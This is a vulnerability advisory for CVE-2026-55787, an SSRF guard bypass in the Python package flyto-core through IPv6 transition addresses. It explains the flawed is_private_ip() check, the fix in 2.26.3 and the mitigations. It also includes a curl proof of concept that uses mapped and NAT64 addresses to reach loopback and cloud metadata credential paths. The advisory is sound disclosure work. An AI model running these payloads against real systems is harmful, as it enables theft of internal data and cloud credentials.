high · 7.1CVE-2026-55787Jul 6, 2026

CVE-2026-55787: flyto-core SSRF Guard Bypass via IPv6 Transition Addresses

Rohit Hatagale
AI Security Researcher, SecureLayer7

flyto-core's SSRF protection can be bypassed using IPv6 transition address forms like ::ffff:127.0.0.1 or 64:ff9b::a9fe:a9fe, letting a workflow author drive authenticated HTTP fetches to internal…

Packageflyto-core
Ecosystempip
Affected<= 2.26.2
Fixed in2.26.3

The problem

The is_private_ip() function in src/core/utils.py checks resolved IP addresses against a hardcoded PRIVATE_IP_RANGES list. That list covers only native RFC 1918, loopback, link-local, and unique-local ranges. It does not cover IPv6 transition forms that embed a private IPv4 address: IPv4-mapped (::ffff:0:0/96), IPv4-compatible (::/96), 6to4 (2002::/16), or NAT64 well-known prefix (64:ff9b::/96, 64:ff9b:1::/48).

Any workflow author who can reach POST /v1/execute can supply a transition-form URL like http://[::ffff:127.0.0.1]:8080/.... The guard returns False for these addresses, the aiohttp fetch proceeds, and the full response body is returned to the caller. This is a read SSRF.

The same guard is shared by roughly ten atomic modules including http.request, browser.goto, image.download, and llm.chat.

Proof of concept

A working proof-of-concept for CVE-2026-55787 in flyto-core, with the exact payload below.

bash
# The raw loopback literal is correctly blocked:
curl -s -X POST http://127.0.0.1:8333/v1/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/"}}'
# Response: {"ok":false,"error":"...Hostname blocked: 127.0.0.1..."}

# IPv4-mapped literal bypasses the guard and returns the internal response body:
curl -s -X POST http://127.0.0.1:8333/v1/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
# Response: {"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f..."}}

# NAT64 WKP encoding of 169.254.169.254 also bypasses the guard
# (proceeds to network layer instead of raising SSRFError):
curl -s -X POST http://127.0.0.1:8333/v1/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}'

The root cause is that is_private_ip() performs a plain network-membership test against PRIVATE_IP_RANGES without first unwrapping any embedded IPv4 from the IPv6 address. Python's ipaddress module exposes ipv4_mapped, sixtofour, and the raw integer value for NAT64 detection, but none of those are consulted.

Even ::ffff:127.0.0.1, which Python itself classifies as is_private == True, passes the guard unchanged because the membership test compares the outer IPv6 address against IPv4 CIDR blocks whose version numbers never match.

The fix added a _extract_embedded_ipv4() helper that unwraps the embedded IPv4 from all four transition families (IPv4-mapped, IPv4-compatible, 6to4, NAT64 WKP and local-use). is_private_ip() now builds a candidate list of the outer address plus any extracted IPv4, and blocks if either candidate falls in a private range.

Public destinations expressed in transition form, such as ::ffff:8.8.8.8, remain allowed because the embedded IPv4 is itself public.

The fix

Upgrade to flyto-core 2.26.3. The patch extends is_private_ip() in src/core/utils.py to unwrap IPv4-mapped, IPv4-compatible, 6to4, and NAT64 transition addresses and range-check the embedded IPv4 alongside the outer IPv6 address. If immediate upgrade is not possible, set the FLYTO_VSCODE_LOCAL_MODE flag to false and restrict which users can submit workflow execution requests to POST /v1/execute via network-layer controls.

Reported by tonghuaroot.

References: [1][2]

Related research